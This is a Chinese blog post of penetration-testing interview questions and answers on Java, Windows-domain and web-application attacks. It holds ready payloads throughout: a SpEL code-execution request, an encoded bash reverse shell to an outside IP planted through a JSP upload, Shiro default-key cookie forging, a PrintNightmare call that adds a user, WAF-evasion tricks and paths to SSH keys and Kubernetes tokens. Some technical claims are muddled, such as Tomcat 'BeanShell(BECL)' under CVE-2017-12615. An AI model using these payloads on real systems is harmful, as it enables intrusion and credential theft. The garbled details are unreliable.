当前位置: 首页 > article >正文

2025年渗透测试面试题总结-某 长亭(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

长亭

一、Spring SpEL表达式注入漏洞

1. 技术原理

2. 利用条件

3. 攻击方法

4. 防御策略

二、Java JDBC反序列化高版本不出网利用

1. 漏洞背景

2. 本地利用链构造

3. 利用步骤

4. 防御方案

三、Tomcat BeanShell(BECL)漏洞利用

1. 漏洞原理(CVE-2017-12615)

2. 攻击流程

3. 防御措施

四、Shiro反序列化漏洞

1. 加密机制

2. 攻击流程

3. WAF绕过技术

五、UEditor漏洞利用及WAF绕过

1. 受影响版本

2. 攻击示例

3. WAF绕过技巧

六、内网Windows Print Spooler漏洞(PrintNightmare)

1. 漏洞原理(CVE-2021-34527)

2. 利用工具

3. 防御方案

七、PetitPotam攻击原理

1. 攻击流程

2. 工具使用

3. 缓解措施

八、域用户与工作组用户差异

九、域控攻击方法论

1. 信息收集阶段

2. 权限提升路径

3. 持久化技术

十、Spring4Shell & Log4j漏洞对比

十一、外网常用打点漏洞清单

十二、任意文件读取深度利用

1. 敏感文件枚举

2. 组合利用案例

十三、用友NC BeanShell绕过WAF

1. 漏洞触发点

2. 命令混淆技巧

3. WAF绕过方案

十四、Shiro Cookie过长WAF拦截解决方案

1. Payload压缩技术

2. 内存马注入

长亭

sping spel漏洞原理&利用方法 什么情况才能利用
java jdbc反序列化高版本不出网的条件下如何利用
tomcat becl如何利用
shiro 反序列化用的哪种加密方法 如何利用
ueditor 哪种语言环境存在漏洞 怎么利用 如何绕waf
内网windows print spooler 利用&原理
内网 PotiPetam利用&原理
域内用户和工作组用户的差别
如何攻击域控
spring4shell&log4j利用
外网常用打点漏洞有哪些
一个任意文件读取/任意文件下载,如何进一步利用
用友nc beanshell执行命令如何绕waf
shiro反序列化漏洞 如何cookie中的payload 过长被waf 拦截 如何绕waf

一、Spring SpEL表达式注入漏洞

1. 技术原理
  • 表达式解析机制:Spring框架在处理@Value注解、SpelExpressionParser时未正确过滤用户输入
  • 沙箱逃逸:通过T(Type)运算符访问Java类加载器,例如:T(java.lang.Runtime).getRuntime().exec('calc')
  • 触发场景:HTTP参数绑定、错误消息处理、动态模板渲染
2. 利用条件
  • Spring版本 < 5.0.6(CVE-2018-1270)
  • 存在用户输入直接拼接至SpEL表达式
  • 应用未启用表达式安全模式(如StandardEvaluationContext被误用)
3. 攻击方法
httpPOST /vuln-endpoint HTTP/1.1 param=${T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()")} 
4. 防御策略
  • 升级Spring至5.0.6+版本
  • 全局替换StandardEvaluationContextSimpleEvaluationContext
  • 输入过滤:正则表达式拦截T\(.*?\)等危险语法

二、Java JDBC反序列化高版本不出网利用

1. 漏洞背景
  • MySQL Connector/J 8.0+反序列化限制autoDeserialize参数默认关闭
  • 不出网限制:无法建立JNDI连接或RMI反向Shell
2. 本地利用链构造
  • TemplatesImpl链
    java// 生成恶意字节码 ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("Evil"); clazz.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); // 注入静态代码块执行命令... byte[] byteCode = clazz.toBytecode(); // 构造TemplatesImpl对象 TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{byteCode}); setFieldValue(templates, "_name", "Exploit");
3. 利用步骤
  1. 利用CC链(如CC6)触发TemplatesImpl#newTransformer()
  2. 通过JDBC连接属性触发反序列化: jdbc:mysql://host:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
4. 防御方案
  • 升级JDBC驱动至最新版
  • 配置数据库连接池禁用autoDeserialize参数

三、Tomcat BeanShell(BECL)漏洞利用

1. 漏洞原理(CVE-2017-12615)
  • BeanShell脚本引擎:Tomcat默认允许.bsh文件解析
  • 文件上传绕过:利用PUT方法上传.jsp文件时,添加/后缀绕过过滤(如shell.jsp%20
2. 攻击流程
httpPUT /test.jsp%20 HTTP/1.1 <% Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDMgMD4mMQ==}|{base64,-d}|{bash,-i}"); %>
3. 防御措施
  • 禁用HTTP PUT方法
  • 配置web.xml 限制脚本文件扩展名

四、Shiro反序列化漏洞

1. 加密机制
  • AES-CBC模式:默认使用硬编码密钥kPH+bIxk5D2deZiIxcaaaA==
  • RememberMe Cookie结构:Base64(AES(序列化数据))
2. 攻击流程
  1. 生成恶意对象:
    bashjava -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/pwned" > payload.bin 
  2. 加密payload:
    pythonfrom Crypto.Cipher import AES key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") cipher = AES.new(key, AES.MODE_CBC, iv) encrypted = cipher.encrypt(pad(payload)) 
  3. 发送Cookie:Cookie: rememberMe=Base64(encrypted)
3. WAF绕过技术
  • 分块传输:将Cookie拆分为多个rememberMe=part1; rememberMe=part2
  • 注释符注入:利用/**/分割payload,如reme/*xxx*/mberMe=...
  • 短Payload构造:使用URLClassLoader加载远程jar(需DNS出网)

五、UEditor漏洞利用及WAF绕过

1. 受影响版本
  • JSP版本:1.4.3之前存在任意文件上传(CVE-2017-1000498)
  • 漏洞路径/ueditor/jsp/controller.jsp?action=uploadfile
2. 攻击示例
httpPOST /ueditor/jsp/controller.jsp?action=uploadfile HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABCDE ------WebKitFormBoundaryABCDE Content-Disposition: form-data; name="upfile"; filename="test.jsp" Content-Type: image/jpeg <% out.println("Hello Vuln!"); %>
3. WAF绕过技巧
  • MIME伪装:修改Content-Type为image/png
  • 路径遍历:文件名设置为../../../test.jsp
  • Unicode编码test.%6a%73%70

六、内网Windows Print Spooler漏洞(PrintNightmare)

1. 漏洞原理(CVE-2021-34527)
  • RPC协议缺陷RpcAddPrinterDriverEx未验证调用者权限
  • 驱动程序加载:远程加载恶意DLL实现SYSTEM权限执行
2. 利用工具
powershellInvoke-Nightmare -DriverName "Xerox" -NewUser "hacker" -NewPassword "P@ssw0rd!"
3. 防御方案
  • 禁用Print Spooler服务
  • 安装2021年7月微软补丁

七、PetitPotam攻击原理

1. 攻击流程
  1. 强制域控通过MS-EFSRPC协议向攻击者发起NTLM认证
  2. 中继认证至LDAP服务,修改域对象ACL
  3. 授予攻击者DCSync权限,导出krbtgt哈希
2. 工具使用
bashpython3 petitpotam.py -d domain.local -u user -p pass 192.168.1.100 192.168.1.1 
3. 缓解措施
  • 启用SMB签名
  • 禁用NTLM认证

八、域用户与工作组用户差异

特征域用户工作组用户
认证中心域控制器(AD)本地SAM数据库
策略管理组策略统一应用本地策略独立配置
资源共享域内全局访问需手动配置共享权限
典型攻击面Kerberoasting、DCSync本地提权、密码复用

九、域控攻击方法论

1. 信息收集阶段
  • BloodHound分析:识别高价值路径(如域管登录过的机器)
  • SPN扫描setspn -T domain -Q */*
2. 权限提升路径
  • MS14-068:伪造PAC获取域管权限(需未打补丁)
  • ZeroLogon:重置域控机器账户密码(CVE-2020-1472)
3. 持久化技术
  • Golden Ticket:使用krbtgt哈希生成任意用户TGT
  • SID History注入:添加域管SID至普通用户

十、Spring4Shell & Log4j漏洞对比

特征Spring4Shell (CVE-2022-22965)Log4j (CVE-2021-44228)
触发条件Tomcat+War部署、JDK9+日志记录包含${jndi:ldap://}
利用链数据绑定→日志文件写入WebShellJNDI→LDAP加载远程类
回显方式需访问写入的JSP文件直接通过DNS/HTTP请求外带数据
影响版本Spring 5.3.0-5.3.17, 5.2.0-5.2.19Log4j 2.0-beta9 - 2.14.1

十一、外网常用打点漏洞清单

  1. Web漏洞
    • SQL注入(如时间盲注绕过WAF)
    • 文件上传(类型校验绕过)
    • SSRF(云元数据API利用)
  2. 框架漏洞
    • Shiro反序列化
    • Fastjson JNDI注入
  3. 协议漏洞
    • FTP匿名访问
    • Redis未授权访问

十二、任意文件读取深度利用

1. 敏感文件枚举
  • Linux/etc/passwd/proc/self/environ~/.ssh/id_rsa
  • WindowsC:\Windows\win.iniC:\Windows\Panther\Unattended.xml
2. 组合利用案例
  • 读取Spring配置文件:获取数据库密码→横向移动
  • 获取Kubernetes Token/var/run/secrets/kubernetes.io/serviceaccount/token

十三、用友NC BeanShell绕过WAF

1. 漏洞触发点
  • 接口路径/servlet/~ic/bsh.servlet.BshServlet
2. 命令混淆技巧
java// 原始payload exec("whoami"); // 混淆后 String cmd = "w" + "ho" + "am" + "i"; Runtime.getRuntime().exec(cmd); 
3. WAF绕过方案
  • Unicode转义\u0077\u0068\u006f\u0061\u006d\u0069
  • 反射调用Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(null, "cmd")

十四、Shiro Cookie过长WAF拦截解决方案

1. Payload压缩技术
  • GZIP压缩:将序列化数据压缩后加密
  • 分片存储:将Payload拆分存储至多个Cookie
2. 内存马注入
  1. 发送短Payload加载ClassLoader
  2. 通过HTTP头传输字节码:X-Payload: CAFEBABE...
  3. 反射定义恶意类实现内存驻留

相关文章:

2025年渗透测试面试题总结-某 长亭(题目+回答)

网络安全领域各种资源&#xff0c;学习文档&#xff0c;以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具&#xff0c;欢迎关注。 目录 长亭 一、Spring SpEL表达式注入漏洞 1. 技术原理 2. 利用条件 3. 攻击方法 4. 防御策略 二、Jav…...

【web3】

检测钱包是否安装 方法一 // npm install metamask/detect-provider import detectEthereumProvider from metamask/detect-provider// 检测钱包是否安装 const isProvider await detectEthereumProvider() if(!isProvider) {proxy.$modal.msgError("请安装钱包")…...

Ubuntu部署Dufs文件服务器

安装dufs 安装cargo apt install cargo升级rust工具链 apt install rustup rustup update stable查看rust版本&#xff0c;需要>1.81 rustc --version安装dufs cargo install dufs将dufs加入环境变量 sudo vim ~/.bashrc export PATH"$HOME/.cargo/bin:$PATH" sou…...

速卖通API数据清洗实战:从原始JSON到结构化商品数据库

下面将详细介绍如何把速卖通 API 返回的原始 JSON 数据清洗并转换为结构化商品数据库。 1. 数据获取 首先要借助速卖通 API 获取商品数据&#xff0c;以 Python 为例&#xff0c;可使用requests库发送请求并得到 JSON 数据。 import requests# 替换为你的 API Key 和 Secret …...

前端模拟 websocket 请求小工具

背景&#xff1a; 后端写好websocket 接口后&#xff0c;用postman的某些版本无法直接模拟websocket请求&#xff0c;所以想着自制一个小工具。 使用方法&#xff1a; 直接复制以下代码到文本文件中&#xff0c;修改服务端端地址&#xff0c;保存为 .html的后缀名&#xff0c;…...

docker安装hyperf环境,连接本机redis问题处理

错误信息显示“Connection refused”&#xff0c;这通常说明 Docker 容器内的 Hyperf 项目无法连接到你本机的 Redis 服务。 1. 容器内的 127.0.0.1 指向问题 在 Docker 容器中&#xff0c;127.0.0.1 指的是容器本身&#xff0c;而不是宿主机&#xff08;你的 Mac&#xff09;…...

【极速版 -- 大模型入门到进阶】快速了解大型语言模型

文章目录 &#x1f30a; 大模型作为一种生成式人工智慧&#xff0c;厉害在哪儿&#xff1f;-> 通用能力&#x1f30a; LLM 如何生成输出&#xff1a;简而言之就是文字接龙&#x1f30a; GPT 之前 ...&#xff1a;模型规模和数据规模概览&#x1f30a; ChatGPT 有三个训练阶段…...

精选10个好用的WordPress免费主题

10个好用的WordPress免费主题 1. Astra Astra 是全球最受欢迎的 WordPress 主题。它功能丰富&#xff0c;易于使用&#xff0c;SEO友好&#xff0c;是第一个安装量突破100万的非默认主题&#xff0c;并获得了5000多个五星好评。 它完美集成了Elementor、Beaver&#xff0c;古…...

算法日常刷题笔记(6)

重整旗鼓 第六篇笔记 第一天 使字符串平衡的最小交换次数 给你一个字符串 s &#xff0c;下标从 0 开始 &#xff0c;且长度为偶数 n 。字符串 恰好 由 n / 2 个开括号 [ 和 n / 2 个闭括号 ] 组成。 只有能满足下述所有条件的字符串才能称为 平衡字符串 &#xff1a; 字符串…...

【Unity3D脚本与系统设计6】鼠标触摸超时待机实现

实现步骤 在Unity中实现一个功能&#xff0c;当鼠标或触摸超过一定时间没有操作时&#xff0c;自动返回待机界面。 检测输入 首先&#xff0c;我需要检测用户的输入&#xff0c;无论是鼠标还是触摸。Unity的Input系统可以检测到鼠标和触摸事件&#xff0c;比如Input.GetAxis…...

【Spring篇】Spring的生命周期

一、Bean 生命周期的核心阶段 1. 实例化&#xff08;Instantiation&#xff09; • 触发时机&#xff1a;容器启动时&#xff08;单例 Bean&#xff09;或请求时&#xff08;原型 Bean&#xff09;。 • 实现方式&#xff1a; 通过反射&#xff08;Class.newInstance() 或构造…...

C# 的Lambda表达式‌常见用法和示例

C# 的 ‌Lambda 表达式‌是一种强大的语法糖&#xff0c;能够极大简化代码并增强灵活性。以下是它的主要功能和应用场景&#xff0c;结合具体示例说明&#xff1a; 1. ‌简化委托实例化‌ Lambda 可以快速定义委托&#xff08;如 Func、Action&#xff09;&#xff0c;无需显式…...

C++学习之路:从头搞懂配置VScode开发环境的逻辑与步骤

目录 编辑器与IDE基于vscode的C开发环境配置1. 下载vscode、浅尝编译。番外篇 2. 安装插件&#xff0c;赋能编程。3. 各种json文件的作用。c_cpp_properties.jsontask.jsonlaunch.json 总结&&彩蛋 编辑器与IDE 上一篇博客已经介绍过了C程序的一个编译流程&#xff0c;从…...

Web3与网络安全:如何确保去中心化应用的安全性

Web3与网络安全&#xff1a;如何确保去中心化应用的安全性 随着区块链技术的蓬勃发展&#xff0c;Web3的概念逐渐成为互联网发展的新趋势。Web3强调去中心化、用户主权和数据隐私&#xff0c;它的核心是构建一个更加开放、透明和安全的网络环境。然而&#xff0c;随着去中心化…...

插值法笔记 ——武汉理工统计 周

第二章 插值法 插值法定义 插值函数定义 设函数 y f ( x ) y f(x) yf(x) 在区间 [a,b] 上有定义&#xff0c;且满足节点排列&#xff1a; a ≤ x 0 < x 1 < ⋯ < x n ≤ b a \leq x_0 < x_1 < \cdots < x_n \leq b a≤x0​<x1​<⋯<xn​≤b …...

23种设计模式-命令(Command)设计模式

命令设计模式 &#x1f6a9;什么是命令设计模式&#xff1f;&#x1f6a9;命令设计模式的特点&#x1f6a9;命令设计模式的结构&#x1f6a9;命令设计模式的优缺点&#x1f6a9;命令设计模式的Java实现&#x1f6a9;代码总结&#x1f6a9;总结 &#x1f6a9;什么是命令设计模式…...

和鲸科技执行总裁殷自强受邀主讲华中附属同济医院大模型应用通识首期课程

当前&#xff0c;医学与人工智能的深度融合正迎来历史性发展机遇。华中科技大学同济医学院附属同济医院&#xff08;以下简称“同济医院”&#xff09;作为医疗人工智能应用的先行探索者&#xff0c;已在电子病历辅助书写、科研数据分析、医疗合同自动化审核等关键场景完成试点…...

CI/CD(三) 安装nfs并指定k8s默认storageClass

一、NFS 服务端安装&#xff08;主节点 10.60.0.20&#xff09; 1. 安装 NFS 服务端 sudo apt update sudo apt install -y nfs-kernel-server 2. 创建共享目录并配置权限 sudo mkdir -p /data/k8s sudo chown nobody:nogroup /data/k8s # 允许匿名访问 sudo chmod 777 /dat…...

Centos 7 安装VNC服务

Centos 7 安装VNC服务 1. 安装 TigerVNC2. 设置 VNC 密码3. 创建并配置 x0vncserver 服务4. 启用并启动服务5. 检查服务状态6. 配置防火墙7. 连接 VNC问题1:出现无法安装可能是镜像源导致的。手动配置镜像源清除 YUM 缓存并重新加载 1. 安装 TigerVNC 确保已安装 TigerVNC 服务…...

使用 Go 构建 MCP Server

一个互联网技术玩家&#xff0c;一个爱聊技术的家伙。在工作和学习中不断思考&#xff0c;把这些思考总结出来&#xff0c;并分享&#xff0c;和大家一起交流进步。 一、MCP 介绍 1. 基本介绍 MCP&#xff08;Model Context Protocol&#xff0c;模型上下文协议&#xff09;是…...

C语言贪吃蛇实现

When the night gets dark,remember that the Sun is also a star. 当夜幕降临时&#xff0c;请记住太阳也是一颗星星。 ————《去月球海滩篇》 目录 文章目录 一、《贪吃蛇》游戏介绍 二、WIN32部分接口简单介绍 2.1 控制台窗口大小设置 2.2 命令行窗口的名称的变更 2…...

pytorch小记(十五):pytorch中 交叉熵损失详解:为什么logits比targets多一个维度?

pytorch小记&#xff08;十五&#xff09;&#xff1a;pytorch中 交叉熵损失详解&#xff1a;为什么logits比targets多一个维度&#xff1f; PyTorch交叉熵损失详解&#xff1a;为什么logits比targets多一个维度&#xff1f;一、前言&#xff1a;新手常见困惑二、核心概念&…...

利用zabbix自带key获取数据

获取数据的三种方法 1、链接模版 服务器系统自身的监控 CPU CPU使用率、CPU负载 内存 内存剩余量 硬盘 关键性硬盘的剩余量、IO 网卡 流量/IO&#xff08;流入流量、流出流量、总流量、错误数据包流量&#xff09; 进程数 用户数 2、利用zabbix自带的键值key 1&#xff09;监…...

无人机数据处理系统设计要点与难点!

一、系统设计要点 无人机数据处理系统需要高效、可靠、低延迟地处理多源异构数据&#xff08;如影像、传感器数据、位置信息等&#xff09;&#xff0c;同时支持实时分析和长期存储。以下是核心设计要点&#xff1a; 1.数据采集与预处理 多传感器融合&#xff1a;集成摄像头…...

最大异或对 The XOR Largest Pair

题目来自洛谷网站&#xff1a; 思路&#xff1a; 两个循环时间复杂度太高了&#xff0c;会超时。 我们可以先将读入的数字&#xff0c;插入到字典树中&#xff0c;从高位到低位。对每个数查询的时候&#xff0c;题目要求是最大的异或对&#xff0c;所以我们选择相反的路径&am…...

基于SpringBoot + Vue 的汽车租赁管理系统

技术介绍&#xff1a; ①&#xff1a;架构: B/S、MVC ②&#xff1a;系统环境&#xff1a;Windows/Mac ③&#xff1a;开发环境&#xff1a;IDEA、JDK1.8、Maven、Mysql ④&#xff1a;技术栈&#xff1a;Java、Mysql、SpringBoot、Mybatis、Vue 项目功能&#xff1a; 角色&am…...

基于DrissionPage的TB商品信息采集与可视化分析

一、项目背景 随着电子商务的快速发展,淘宝作为中国最大的电商平台之一,拥有海量的商品信息。这些数据对于市场分析、用户行为研究以及竞争情报收集具有重要意义。然而,由于淘宝的反爬虫机制和复杂的页面结构,直接获取商品信息并不容易。尤其是在电商行业高速发展的今天,商…...

电气、电子信息与通信工程的探索与应用

从传统定义来看&#xff0c;电气工程是现代科技领域的核心学科和关键学科。它涵盖了创造产生电气与电子系统的有关学科的总和。然而&#xff0c;随着科学技术的飞速发展&#xff0c;电气工程的概念已经远超出这一范畴。 电子信息工程则是将电子技术、通信技术、计算机技术等应…...

Python备赛笔记2

1.区间求和 题目描述 给定a1……an一共N个整数&#xff0c;有M次查询&#xff0c;每次需要查询区间【L,R】的和。 输入描述: 第一行包含两个数&#xff1a;N,M 第二行输入N个整数 接下来的M行&#xff0c;每行有两个整数&#xff0c;L R&#xff0c;中间用空格隔开&…...

HTML5 拖放(Drag and Drop)学习笔记

一、HTML5 拖放简介 HTML5 拖放&#xff08;Drag and Drop&#xff09;是HTML5标准的一部分&#xff0c;允许用户抓取一个对象并将其拖动到另一个位置。拖放功能在现代网页中非常常见&#xff0c;例如文件上传、任务管理、布局调整等场景。 HTML5 拖放功能支持以下浏览器&…...